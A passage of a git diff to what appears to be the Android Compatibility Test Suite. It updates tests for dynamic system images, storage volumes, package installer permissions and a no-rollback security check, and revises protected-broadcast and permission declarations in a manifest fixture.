-                VibrationEffect.EFFECT_STRENGTH_STRONG
-        };
-        for (int strength : strengths) {
-            effect.setEffectStrength(strength);
-            assertEquals(strength, effect.getEffectStrength());
-        }
-    }
-
-    @Test
-    public void testSetStrengthInvalid() {
-        VibrationEffect.Prebaked effect = (VibrationEffect.Prebaked)VibrationEffect.get(
-                VibrationEffect.EFFECT_CLICK, true);
-        try {
-            effect.setEffectStrength(239017);
-            fail("Illegal strength, should throw IllegalArgumentException");
-        } catch (IllegalArgumentException expected) {}
-    }
-
-    @Test
     public void testStartComposition() {
         VibrationEffect.Composition first = VibrationEffect.startComposition();
         VibrationEffect.Composition other = VibrationEffect.startComposition();
diff --git a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
index 21a2908..fed6b44 100644
--- a/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
+++ b/tests/tests/os/src/android/os/image/cts/DynamicSystemClientTest.java
@@ -21,9 +21,8 @@
 
 import android.app.Instrumentation;
 import android.net.Uri;
-import android.os.SystemProperties;
 import android.os.image.DynamicSystemClient;
-import android.util.FeatureFlagUtils;
+import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
@@ -34,6 +33,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+@AppModeFull(reason = "Instant apps cannot access DynamicSystemClient")
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class DynamicSystemClientTest implements DynamicSystemClient.OnStatusChangedListener {
@@ -50,16 +50,8 @@
         mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
     }
 
-    private boolean featureFlagEnabled() {
-        return SystemProperties.getBoolean(
-                FeatureFlagUtils.PERSIST_PREFIX + FeatureFlagUtils.DYNAMIC_SYSTEM, false);
-    }
-
     @Test
     public void testDynamicSystemClient() {
-        if (!featureFlagEnabled()) {
-            return;
-        }
         DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
         dSClient.setOnStatusChangedListener(this);
         try {
@@ -87,6 +79,32 @@
         }
     }
 
+    @Test
+    public void testDynamicSystemClient_withoutOnStatusChangedListener() {
+        DynamicSystemClient dSClient = new DynamicSystemClient(mInstrumentation.getTargetContext());
+        try {
+            dSClient.bind();
+        } catch (SecurityException e) {
+            fail();
+        }
+        Uri uri = Uri.parse("https://www.google.com/").buildUpon().build();
+        try {
+            dSClient.start(uri, 1024L << 10);
+        } catch (SecurityException e) {
+            fail();
+        }
+        try {
+            Thread.sleep(3 * 1000);
+        } catch (InterruptedException e) {
+            fail();
+        }
+        try {
+            dSClient.unbind();
+        } catch (SecurityException e) {
+            fail();
+        }
+    }
+
     @After
     public void tearDown() {
         mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
diff --git a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
index 9772efc..5a14040 100644
--- a/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
+++ b/tests/tests/os/src/android/os/storage/cts/StorageManagerTest.java
@@ -24,7 +24,9 @@
 import android.os.Looper;
 import android.os.Parcel;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.os.ProxyFileDescriptorCallback;
+import android.os.UserHandle;
 import android.os.cts.R;
 import android.os.storage.OnObbStateChangeListener;
 import android.os.storage.StorageManager;
@@ -211,15 +213,18 @@
         assertEquals("Wrong state", Environment.MEDIA_MOUNTED, volume.getState());
 
         // Tests properties that depend on storage type (emulated or physical)
-        final String uuid = volume.getUuid();
+        final String fsUuid = volume.getUuid();
+        final UUID uuid = volume.getStorageUuid();
         final boolean removable = volume.isRemovable();
         final boolean emulated = volume.isEmulated();
         if (emulated) {
             assertFalse("Should not be removable", removable);
-            assertNull("Should not have uuid", uuid);
+            assertNull("Should not have fsUuid", fsUuid);
+            assertEquals("Should have uuid_default", StorageManager.UUID_DEFAULT, uuid);
         } else {
             assertTrue("Should be removable", removable);
-            assertNotNull("Should have uuid", uuid);
+            assertNotNull("Should have fsUuid", fsUuid);
+            assertNull("Should not have uuid", uuid);
         }
 
         // Tests path - although it's not a public API, sm.getPrimaryStorageVolume()
@@ -331,6 +336,11 @@
             }
         };
 
+        // Unmount storage data and obb dirs before test so test process won't be killed.
+        InstrumentationRegistry.getInstrumentation().getUiAutomation().executeShellCommand(
+                "sm unmount-app-data-dirs " + mContext.getPackageName() + " "
+                        + Process.myPid() + " " + UserHandle.myUserId());
+
         // Unmount primary storage, verify we can see it take effect
         mStorageManager.registerStorageVolumeCallback(mContext.getMainExecutor(), callback);
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
index 28ec019..d1d52a1 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
@@ -196,7 +196,7 @@
                 mContext,
                 sessionId,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt b/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
index 024d1ad..c66569a 100644
--- a/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
+++ b/tests/tests/packageinstaller/nopermission/src/android.packageinstaller.nopermission.cts/NoPermissionTests.kt
@@ -122,7 +122,7 @@
 
         // Commit session
         val pendingIntent = PendingIntent.getBroadcast(context, 0, Intent(ACTION),
-                PendingIntent.FLAG_UPDATE_CURRENT)
+                PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE)
         session.commit(pendingIntent.intentSender)
     }
 
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
index c683f24..8c47139 100644
--- a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -29,5 +29,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp b/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
index dafd4e9..ec85832 100644
--- a/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
+++ b/tests/tests/packageinstaller/test-apps/emptytestapp/Android.bp
@@ -22,5 +22,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/tests/packageinstaller/uninstall/Android.bp b/tests/tests/packageinstaller/uninstall/Android.bp
index b00c9a6..4ee4b99 100644
--- a/tests/tests/packageinstaller/uninstall/Android.bp
+++ b/tests/tests/packageinstaller/uninstall/Android.bp
@@ -29,5 +29,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
 }
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index 008cd0e..453a994 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -35,6 +35,9 @@
         "platformprotosnano",
         "permission-test-util-lib",
         "nativetesthelper",
+        // TODO(b/175251166): remove once Android migrates to JUnit 4.12,
+        // which provides assertThrows
+        "testng",
     ],
     jni_libs: [
         "libctspermission_jni",
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index a383144..dce4530 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -7,3 +7,4 @@
 per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
 per-file OneTimePermissionTest.java, AppThatRequestOneTimePermission/... = evanseverson@google.com
 per-file LocationAccessCheckTest.java = ntmyren@google.com
+per-file NoRollbackPermissionTest.java = mpgroover@google.com
diff --git a/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
new file mode 100644
index 0000000..50b84fa
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/NoRollbackPermissionTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.pm.PackageInstaller;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Test;
+
+@AppModeFull(reason = "PackageInstaller cannot be accessed by instant apps")
+public class NoRollbackPermissionTest {
+    @Test
+    public void testCreateInstallSessionWithReasonRollbackFails() throws Exception {
+        // The INSTALL_REASON_ROLLBACK allows an APK to be rolled back to a previous signing key
+        // without setting the ROLLBACK capability in the lineage. Since only signature|privileged
+        // apps can hold the necessary permission to initiate a rollback ensure apps without this
+        // permission cannot set rollback as the install reason.
+        PackageInstaller packageInstaller =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager()
+                        .getPackageInstaller();
+        PackageInstaller.SessionParams parentParams = new PackageInstaller.SessionParams(
+                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+        parentParams.setRequestDowngrade(true);
+        parentParams.setMultiPackage();
+        // The constant PackageManager.INSTALL_REASON_ROLLBACK is hidden from apps, but an app can
+        // still use its constant value.
+        parentParams.setInstallReason(5);
+        assertThrows(SecurityException.class, () -> packageInstaller.createSession(parentParams));
+    }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
index ce2fade..8661f2e 100644
--- a/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
+++ b/tests/tests/permission/src/android/permission/cts/PermissionGroupChange.java
@@ -31,6 +31,7 @@
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
@@ -164,6 +165,7 @@
 
     @SecurityTest
     @Test
+    @AppModeFull
     public void permissionGroupShouldNotBeAutoGrantedIfNewMember() throws Throwable {
         installApp("CtsAppThatRequestsPermissionAandB");
 
diff --git a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
index 3e302a9..00d4b40 100644
--- a/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/StorageEscalationTest.kt
@@ -23,6 +23,7 @@
 import android.app.UiAutomation
 import android.content.Context
 import android.content.pm.PackageManager
+import android.platform.test.annotations.AppModeFull
 import androidx.test.platform.app.InstrumentationRegistry
 import com.android.compatibility.common.util.SystemUtil
 import org.junit.After
@@ -30,6 +31,7 @@
 import org.junit.Before
 import org.junit.Test
 
+@AppModeFull
 class StorageEscalationTest {
     companion object {
         private const val APK_DIRECTORY = "/data/local/tmp/cts/permissions"
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 1f99f0c..25fb0ee 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -42,6 +42,9 @@
     <protected-broadcast android:name="android.intent.action.PACKAGE_REMOVED" />
     <protected-broadcast android:name="android.intent.action.PACKAGE_FULLY_REMOVED" />
     <protected-broadcast android:name="android.intent.action.PACKAGE_CHANGED" />
+    <protected-broadcast android:name="android.intent.action.PACKAGE_STARTABLE" />
+    <protected-broadcast android:name="android.intent.action.PACKAGE_UNSTARTABLE" />
+    <protected-broadcast android:name="android.intent.action.PACKAGE_FULLY_LOADED" />
     <protected-broadcast android:name="android.intent.action.PACKAGE_ENABLE_ROLLBACK" />
     <protected-broadcast android:name="android.intent.action.CANCEL_ENABLE_ROLLBACK" />
     <protected-broadcast android:name="android.intent.action.ROLLBACK_COMMITTED" />
@@ -96,7 +99,6 @@
     <protected-broadcast android:name="android.intent.action.OVERLAY_PRIORITY_CHANGED" />
     <protected-broadcast android:name="android.intent.action.MY_PACKAGE_SUSPENDED" />
     <protected-broadcast android:name="android.intent.action.MY_PACKAGE_UNSUSPENDED" />
-    <protected-broadcast android:name="android.intent.action.LOAD_DATA" />
 
     <protected-broadcast android:name="android.os.action.POWER_SAVE_MODE_CHANGED" />
     <protected-broadcast android:name="android.os.action.DEVICE_IDLE_MODE_CHANGED" />
@@ -108,6 +110,8 @@
     <!-- @deprecated This is rarely used and will be phased out soon. -->
     <protected-broadcast android:name="android.os.action.SCREEN_BRIGHTNESS_BOOST_CHANGED" />
 
+    <protected-broadcast android:name="android.app.action.CLOSE_NOTIFICATION_HANDLER_PANEL" />
+
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE" />
     <protected-broadcast android:name="android.app.action.EXIT_CAR_MODE" />
     <protected-broadcast android:name="android.app.action.ENTER_CAR_MODE_PRIORITIZED" />
@@ -116,6 +120,12 @@
     <protected-broadcast android:name="android.app.action.EXIT_DESK_MODE" />
     <protected-broadcast android:name="android.app.action.NEXT_ALARM_CLOCK_CHANGED" />
 
+    <protected-broadcast android:name="android.app.action.USER_ADDED" />
+    <protected-broadcast android:name="android.app.action.USER_REMOVED" />
+    <protected-broadcast android:name="android.app.action.USER_STARTED" />
+    <protected-broadcast android:name="android.app.action.USER_STOPPED" />
+    <protected-broadcast android:name="android.app.action.USER_SWITCHED" />
+
     <protected-broadcast android:name="android.app.action.BUGREPORT_SHARING_DECLINED" />
     <protected-broadcast android:name="android.app.action.BUGREPORT_FAILED" />
     <protected-broadcast android:name="android.app.action.BUGREPORT_SHARE" />
@@ -145,7 +155,7 @@
     <protected-broadcast android:name="android.bluetooth.adapter.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.UUID" />
     <protected-broadcast android:name="android.bluetooth.device.action.MAS_INSTANCE" />
-    <protected-broadcast android:name="android.bluetooth.action.ALIAS_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.device.action.ALIAS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.FOUND" />
     <protected-broadcast android:name="android.bluetooth.device.action.CLASS_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.device.action.ACL_CONNECTED" />
@@ -229,12 +239,16 @@
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_RECEIVED" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_SENT_SUCCESSFULLY" />
     <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELIVERED_SUCCESSFULLY" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_READ_STATUS_CHANGED" />
+    <protected-broadcast android:name="android.bluetooth.mapmce.profile.action.MESSAGE_DELETED_STATUS_CHANGED" />
     <protected-broadcast
         android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_SENT" />
     <protected-broadcast
         android:name="com.android.bluetooth.BluetoothMapContentObserver.action.MESSAGE_DELIVERY" />
     <protected-broadcast
         android:name="android.bluetooth.pan.profile.action.CONNECTION_STATE_CHANGED" />
+    <protected-broadcast
+        android:name="android.bluetooth.action.TETHERING_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbap.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.pbapclient.profile.action.CONNECTION_STATE_CHANGED" />
     <protected-broadcast android:name="android.bluetooth.sap.profile.action.CONNECTION_STATE_CHANGED" />
@@ -265,6 +279,7 @@
     <protected-broadcast android:name="android.hardware.usb.action.USB_PORT_CHANGED" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_ATTACHED" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_DETACHED" />
+    <protected-broadcast android:name="android.hardware.usb.action.USB_ACCESSORY_HANDSHAKE" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_DEVICE_ATTACHED" />
     <protected-broadcast android:name="android.hardware.usb.action.USB_DEVICE_DETACHED" />
 
@@ -351,8 +366,9 @@
     <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_ALLOWED_APP" />
     <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISALLOWED_APP" />
     <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISMISSED" />
-    <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_ALLOWED_CARRIER" />
-    <protected-broadcast android:name="com.android.server.wifi.action.NetworkSuggestion.USER_DISALLOWED_CARRIER" />
+    <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_ALLOWED_CARRIER" />
+    <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_DISALLOWED_CARRIER" />
+    <protected-broadcast android:name="com.android.server.wifi.action.CarrierNetwork.USER_DISMISSED" />
     <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.USER_DISMISSED_NOTIFICATION" />
     <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.CONNECT_TO_NETWORK" />
     <protected-broadcast android:name="com.android.server.wifi.ConnectToNetworkNotification.PICK_WIFI_NETWORK" />
@@ -399,6 +415,9 @@
     <protected-broadcast android:name="android.intent.action.AIRPLANE_MODE" />
     <protected-broadcast android:name="android.intent.action.ADVANCED_SETTINGS" />
     <protected-broadcast android:name="android.intent.action.APPLICATION_RESTRICTIONS_CHANGED" />
+    <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRED_DEVICES" />
+    <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_PAIRING_RESULT" />
+    <protected-broadcast android:name="com.android.server.adb.WIRELESS_DEBUG_STATUS" />
 
     <!-- Legacy -->
     <protected-broadcast android:name="android.intent.action.ACTION_IDLE_MAINTENANCE_START" />
@@ -520,8 +539,10 @@
     <protected-broadcast android:name="com.android.server.telecom.intent.action.CALLS_ADD_ENTRY" />
     <protected-broadcast android:name="com.android.settings.location.MODE_CHANGING" />
     <protected-broadcast android:name="com.android.settings.bluetooth.ACTION_DISMISS_PAIRING" />
+    <protected-broadcast android:name="com.android.settings.wifi.action.NETWORK_REQUEST" />
 
     <protected-broadcast android:name="NotificationManagerService.TIMEOUT" />
+    <protected-broadcast android:name="NotificationHistoryDatabase.CLEANUP" />
     <protected-broadcast android:name="ScheduleConditionProvider.EVALUATE" />
     <protected-broadcast android:name="EventConditionProvider.EVALUATE" />
     <protected-broadcast android:name="SnoozeHelper.EVALUATE" />
@@ -552,6 +573,7 @@
     <protected-broadcast android:name="android.os.action.ACTION_EFFECTS_SUPPRESSOR_CHANGED" />
     <protected-broadcast android:name="android.app.action.NOTIFICATION_CHANNEL_BLOCK_STATE_CHANGED" />
     <protected-broadcast android:name="android.app.action.NOTIFICATION_CHANNEL_GROUP_BLOCK_STATE_CHANGED" />
+    <protected-broadcast android:name="android.app.action.NOTIFICATION_LISTENER_ENABLED_CHANGED" />
     <protected-broadcast android:name="android.app.action.APP_BLOCK_STATE_CHANGED" />
 
     <protected-broadcast android:name="android.permission.GET_APP_GRANTED_URI_PERMISSIONS" />
@@ -649,9 +671,16 @@
 
     <protected-broadcast android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY" />
 
+    <!-- Added in R -->
+    <protected-broadcast android:name="android.app.action.RESET_PROTECTION_POLICY_CHANGED" />
+
     <!-- For tether entitlement recheck-->
     <protected-broadcast
         android:name="com.android.server.connectivity.tethering.PROVISIONING_RECHECK_ALARM" />
+
+    <!-- Made protected in S (was added in R) -->
+    <protected-broadcast android:name="com.android.internal.intent.action.BUGREPORT_REQUESTED" />
+
     <!-- ====================================================================== -->
     <!--                          RUNTIME PERMISSIONS                           -->
     <!-- ====================================================================== -->
@@ -884,11 +913,11 @@
 
       <p> This is a soft restricted permission which cannot be held by an app it its
       full form until the installer on record whitelists the permission.
-      Specifically, if the permission is whitelisted the holder app can access
+      Specifically, if the permission is allowlisted the holder app can access
       external storage and the visual and aural media collections while if the
-      permission is not whitelisted the holder app can only access to the visual
+      permission is not allowlisted the holder app can only access to the visual
       and aural medial collections. Also the permission is immutably restricted
-      meaning that the whitelist state can be specified only at install time and
+      meaning that the allowlist state can be specified only at install time and
       cannot change until the app is installed. For more details see
       {@link android.content.pm.PackageInstaller.SessionParams#setWhitelistedRestrictedPermissions(Set)}.
      <p>Protection level: dangerous -->
@@ -912,7 +941,7 @@
          read/write files in your application-specific directories returned by
          {@link android.content.Context#getExternalFilesDir} and
          {@link android.content.Context#getExternalCacheDir}.
-         <p>If this permission is not whitelisted for an app that targets an API level before
+         <p>If this permission is not allowlisted for an app that targets an API level before
          {@link android.os.Build.VERSION_CODES#Q} this permission cannot be granted to apps.</p>
          <p>Protection level: dangerous</p>
     -->
@@ -1184,8 +1213,10 @@
                 android:description="@string/permdesc_callCompanionApp"
                 android:protectionLevel="normal" />
 
-    <!-- Exempt this uid from restrictions to background audio recording
+    <!-- Exempt this uid from restrictions to background audio recoding
      <p>Protection level: signature|privileged
+     @hide
+     @SystemApi
     -->
     <permission android:name="android.permission.EXEMPT_FROM_AUDIO_RECORD_RESTRICTIONS"
                 android:label="@string/permlab_exemptFromAudioRecordRestrictions"
@@ -1317,13 +1348,13 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.BACKGROUND_CAMERA"
-        android:permissionGroup="android.permission-group.UNDEFINED"
-        android:label="@string/permlab_backgroundCamera"
-        android:description="@string/permdesc_backgroundCamera"
-        android:permissionFlags="hardRestricted|installerExemptIgnored"
-        android:protectionLevel="dangerous" />
+            android:permissionGroup="android.permission-group.UNDEFINED"
+            android:label="@string/permlab_backgroundCamera"
+            android:description="@string/permdesc_backgroundCamera"
+            android:permissionFlags="hardRestricted|installerExemptIgnored"
+            android:protectionLevel="dangerous" />
 
-      <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
+    <!-- @SystemApi Required in addition to android.permission.CAMERA to be able to access
            system only camera devices.
            <p>Protection level: system|signature
            @hide -->
@@ -1334,7 +1365,7 @@
         android:protectionLevel="system|signature" />
 
     <!-- Allows receiving the camera service notifications when a camera is opened
-        (by a certain application package) or closed.
+            (by a certain application package) or closed.
         @hide -->
     <permission android:name="android.permission.CAMERA_OPEN_CLOSE_LISTENER"
         android:permissionGroup="android.permission-group.UNDEFINED"
@@ -1356,7 +1387,7 @@
         android:priority="800" />
 
     <!-- Allows an application to access data from sensors that the user uses to
-         measure what is happening inside his/her body, such as heart rate.
+         measure what is happening inside their body, such as heart rate.
          <p>Protection level: dangerous -->
     <permission android:name="android.permission.BODY_SENSORS"
         android:permissionGroup="android.permission-group.UNDEFINED"
@@ -1561,12 +1592,30 @@
     <permission android:name="android.permission.INSTALL_LOCATION_PROVIDER"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi @hide Allows an application to install a LocationTimeZoneProvider into the
-         LocationTimeZoneProviderManager.
+    <!-- @SystemApi @hide Allows an application to provide location-based time zone suggestions to
+         the system server. This is needed because the system server discovers time zone providers
+         by exposed intent actions and metadata, without it any app could potentially register
+         itself as time zone provider. The system server checks for this permission.
          <p>Not for use by third-party applications.
     -->
-    <permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER"
-        android:protectionLevel="signature|privileged" />
+    <permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"
+                android:protectionLevel="signature|privileged" />
+
+    <!-- The system server uses this permission to install a default secondary location time zone
+         provider.
+    -->
+    <uses-permission android:name="android.permission.INSTALL_LOCATION_TIME_ZONE_PROVIDER_SERVICE"/>
+
+    <!-- @SystemApi @hide Allows an application to bind to a android.service.TimeZoneProviderService
+         for the purpose of detecting the device's time zone. This prevents arbitrary clients
+         connecting to the time zone provider service. The system server checks that the provider's
+         intent service explicitly sets this permission via the android:permission attribute of the
+         service.
+         This is only expected to be possessed by the system server outside of tests.
+         <p>Not for use by third-party applications.
+    -->
+    <permission android:name="android.permission.BIND_TIME_ZONE_PROVIDER_SERVICE"
+                android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Allows HDMI-CEC service to access device and configuration files.
          This should only be used by HDMI-CEC service.
@@ -1690,7 +1739,7 @@
 
     <!-- Allows network stack services (Connectivity and Wifi) to coordinate
          <p>Not for use by third-party or privileged applications.
-         @SystemApi
+         @SystemApi @TestApi
          @hide This should only be used by Connectivity and Wifi Services.
     -->
     <permission android:name="android.permission.NETWORK_STACK"
@@ -1710,7 +1759,7 @@
 
     <!-- Allows Settings and SystemUI to call methods in Networking services
          <p>Not for use by third-party or privileged applications.
-         @SystemApi
+         @SystemApi @TestApi
          @hide This should only be used by Settings and SystemUI.
     -->
     <permission android:name="android.permission.NETWORK_SETTINGS"
@@ -1788,14 +1837,14 @@
         android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows system APK to update Wifi/Cellular coex channels to avoid.
-         <p>Not for use by third-party applications. -->
+             <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WIFI_UPDATE_COEX_UNSAFE_CHANNELS"
         android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Allows applications to access Wifi/Cellular coex channels being avoided.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WIFI_ACCESS_COEX_UNSAFE_CHANNELS"
-        android:protectionLevel="signature|privileged" />
+                android:protectionLevel="signature|privileged" />
 
     <!-- ======================================= -->
     <!-- Permissions for short range, peripheral networks -->
@@ -1866,6 +1915,9 @@
         android:protectionLevel="normal" />
 
     <!-- @SystemApi Allows an internal user to use privileged SecureElement APIs.
+         Applications holding this permission can access OMAPI reset system API
+         and bypass OMAPI AccessControlEnforcer.
+         <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.SECURE_ELEMENT_PRIVILEGED_OPERATION"
         android:protectionLevel="signature|privileged" />
@@ -1976,6 +2028,10 @@
     <permission android:name="android.permission.VIBRATE_ALWAYS_ON"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows access to the vibrator state.
+         <p>Protection level: signature
+         @hide
+    -->
     <permission android:name="android.permission.ACCESS_VIBRATOR_STATE"
         android:label="@string/permdesc_vibrator_state"
         android:description="@string/permdesc_vibrator_state"
@@ -2172,18 +2228,25 @@
     <permission android:name="android.permission.READ_PRECISE_PHONE_STATE"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi Allows read access to privileged phone state.
+    <!-- @SystemApi @TestApi Allows read access to privileged phone state.
          @hide Used internally. -->
     <permission android:name="android.permission.READ_PRIVILEGED_PHONE_STATE"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows to read device identifiers and use ICC based authentication like EAP-AKA.
+         Often required in authentication to access the carrier's server and manage services
+         of the subscriber.
+         <p>Protection level: signature|appop -->
+    <permission android:name="android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER"
+        android:protectionLevel="signature|appop" />
+
     <!-- @SystemApi Allows read access to emergency number information for ongoing calls or SMS
          sessions.
          @hide Used internally. -->
     <permission android:name="android.permission.READ_ACTIVE_EMERGENCY_SESSION"
         android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows listen permission to always reported signal strength.
+    <!-- Allows listen permission to always reported signal strength.
          @hide Used internally. -->
     <permission android:name="android.permission.LISTEN_ALWAYS_REPORTED_SIGNAL_STRENGTH"
         android:protectionLevel="signature" />
@@ -2215,7 +2278,7 @@
         android:protectionLevel="signature|privileged" />
 
     <!-- Allows to query ongoing call details and manage ongoing calls
-        <p>Protection level: signature|appop -->
+     <p>Protection level: signature|appop -->
     <permission android:name="android.permission.MANAGE_ONGOING_CALLS"
         android:protectionLevel="signature|appop" />
 
@@ -2344,6 +2407,15 @@
     <permission android:name="android.permission.READ_CARRIER_APP_INFO"
         android:protectionLevel="signature" />
 
+    <!-- Must be required by an GbaService to ensure that only the
+         system can bind to it.
+         <p>Protection level: signature
+         @SystemApi
+         @hide
+    -->
+    <permission android:name="android.permission.BIND_GBA_SERVICE"
+        android:protectionLevel="signature" />
+
     <!-- ================================== -->
     <!-- Permissions for sdcard interaction -->
     <!-- ================================== -->
@@ -2473,7 +2545,7 @@
          interact across profiles in the same profile group.
          @hide -->
     <permission android:name="android.permission.CONFIGURE_INTERACT_ACROSS_PROFILES"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
          users on the device. This permission is not available to
@@ -2482,8 +2554,9 @@
         android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi @hide Allows an application to create, remove users and get the list of
